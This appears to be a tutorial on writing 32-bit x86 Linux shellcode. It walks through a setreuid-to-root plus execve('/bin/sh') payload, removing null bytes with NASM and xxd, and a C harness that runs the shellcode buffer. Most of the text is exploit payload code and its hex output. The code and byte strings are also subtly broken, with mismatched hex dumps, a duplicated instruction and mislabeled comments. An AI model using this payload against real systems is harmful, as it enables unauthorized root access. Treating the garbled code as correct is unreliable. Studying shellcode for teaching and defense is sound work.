Shellcode

Shellcode

  • Shellcode - Code to spawn a shell...

  • Written in Assembly language

    • Assembled into machine code with an assembler like nasm and that becomes our shellcode.

  • Specific to processor type

    • ex: x86, PowerPC, ARM, x64 OSX

  • Injected into a program during exploitation and serves as the "payload"

System Calls

  • How we get from user mode to kernel mode (ring 3 to ring 0 ) there is a couple of ways we can do it, on linux we can use the old int 0x80 technique it's a syscall interrupt or we can do a fast systemcall through the linux gate. The int 0x80 is still supported and it's easier to write shellcode that way.

  • Force the program to call functions on your behalf

  • Communicate between user mode and kernel mode (Ring 0)

  • Arguments are loaded into processor registers and an nterrupt is made. On 32-bit x86:

    • EAX hold he desired system call number

  • EBX, ECX, and EDX hold arguments usually in alphabetical order

  • Each system call must be well understood prior to writing the assembly code

Check out the Linux Syscall Reference https://syscalls.kernelgrok.com/

For example #11 is sys_execve

sys_execve

0x0b

char user *user*

char user *user*

char user *user*

struct pt_regs *

arch/alpha/kernel/entry.S:925

0x0b goes in eax and for the first argument we need the user, so then we would want 0 0 & 0 for the first 3 arguments to make sure is uid 0 if were exploiting a root process. Each of the systems calls need to be well understood to understand how to write your own shellcode

Creating Shellcode

  • Spawning a root shell:

  • Many programs drop priviledges

  • We need to restore rights

    • setreuid() System Call

  • Other problems may arise..

  • 32 bit example

This code is intended to fail

BITS 32
; Below is the syscall for restoring the UID back to 0
mov eax, 0x00 ; We're moving 0x0 to eax to prepare it for a syscall number
mov ebx, 0x00 ; We're moving 0x0 to ebx to pass as arg to setreuid()
mov ecx, 0x00 ; We're moving 0x0 to ecx, to pass as arg setreuid()
mov edx, 0x00 ; We're moving 0x0 to edx to pass as arg setreuid()
mov eax, 0x46 ; Loading syscall #70 setreuid() into eax
int 0x80 ; Sending interrupt and execute syscall for setreuid()
; Below is the syscall for execve() to spawn a shell
mov eax, 0x00 ; Zeroing out eax again
push edx ; Pushing null byte to terminate string
push 0x68732f2f ; Pushing //sh before null byte. // make it 4 bytes. Extra / is ignored
push 0x6e69622f ; Pushing /bin before //sh and the null byte
mov ebx, esp ; Moving Stack Pointer address into ebx register
push edx ; Pushing 0x0 from XOR-ed edx reg onto stack
push esp ; Pushing esp address above 0x0
mov ecx, esp ; Copying esp to ecx for argv
mov eax, 0x0b ; Loading the systemcall 11 execve() into eax
int 0x80 ; Sending interrupt and execute syscall for execve()

The Netwide Assembler (NASM)

  • Tool:

    • Original Authors: Simon Tatham and Julian Hall

  • NASM is an x86, x86-64 assembler

  • Used to assemble assembly code into object files

    • Supports ELF, COFF, and others

Creating Shellcode

  • Use Nasm assemble

0katz@0katz-desktop:~$ nasm setreuid_shellcode.s
0katz@0katz-desktop:~$ xxd -ps setreuid_shellcode
b800000000bb00000000b900000000b846000000cd80b800000000................
  • Use xxd to dump machine code

    • -ps flag dumps hex only

  • Notice all the nullbytes? Nulls are bad in our shellcode because most string copy operations terminate and won't copy that

  • shellcode is also 56 bytes! Too large

Removing Null Bytes

  • We must remove the nullbytes:

    • mov eax, 0x0a leaves os

    • Use mov al, 0x0a

  • Several ways to do this:

    • xor eax, eax

    • sub eax, eax

    • mov eax, ecx

    • inc eax/ dec eax

Fixed Version, Removed Nullbytes

BITS 32
xor eax, eax ; Were XOR-ing to zero out eax to prepare it for a system call number
xor ebx, ebx ; We're XOR-ing to zero out ebx to pass as arg to setuid()
sub ecx, ecx ; We're substracting ecx from ecx to zero it out
sub ecx, ecx ; We're substracting ecx from ecx to zero it out
mov edx, ecx ; Moving 0x0 from ecx into edx and avioding null shellcode
mov al, 0x46 ; Loading syscall #70 setreuid() into eax
int 0x80 ; Sending interrupt and execute syscall for setreuid()
; Below is the syscall spawn a shell
sub eax, eax ; Zeroing out eax again
push edx ; Pushing null bytes to terminate string. This will be after /bin/sh
push 0x068732f2f ; Pushing //sh beefore //sh and the null byte.
push 0x6e69622f ; Pushing /bin before //sh and the null byte
mov ebx, esp ; Pushing 0x0 from XOR-ed edx reg onto stack
push esp ; Pushing esp address above 0x0
mov ecx, esp ; Copying esp to ecx for argv
mov al, 0x0b ; Loading system call number 11xecve() into eax
int 0x80 ; Sending interrupt nd execute syscall for execve()

Removing Null Bytes

  • Assemble new version with nasm

0katz@0katz-desktop:~$ nasm setreuid_shellcode_wo_nulls.s
0katz@0katz-desktop:~$ xxd -ps setreuid_shellcode_wo_nulls
31c031db29c989cab046c8029c052682f2f736868f2f7368682f62696e89e3525489e1b00bcd80
  • Null bytes are gone!

  • Shellcode is only 35 bytes

  • we could take that shellcode and test it.

Testing Our Shellcode

char scode[] = "\x31\xc0\x31\xdb\x29\x89\xca\xb0"\
"\x46\xcd\x80\x29\xc0\x52\x68\x2f\2f"\
"\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"\
"\x52\x54\x89\xe1\xb0\x0b\xcd\x80";
int main(int argc, char ** argv){
int (one) ();
one = (int(*)())scode;
(int)(*one)();
}
  • We are putting our shellcode as a binary string in this little c program to test wether our shellcode is good to go or not.

  • We're storing it in this buffer called scode and sending it over to the main fucntion which executes the buffer scode as code.

  • Anytime you want to test your shellcode you can just use this little program to test it, just make sure to change the ownership to root you set the setuid bit and run the program and you see if it works, if your shellcode works then you know it's ready for prime time, its ready to go into your exploits, if it doesn't work have to debug it and try to troubleshoot it.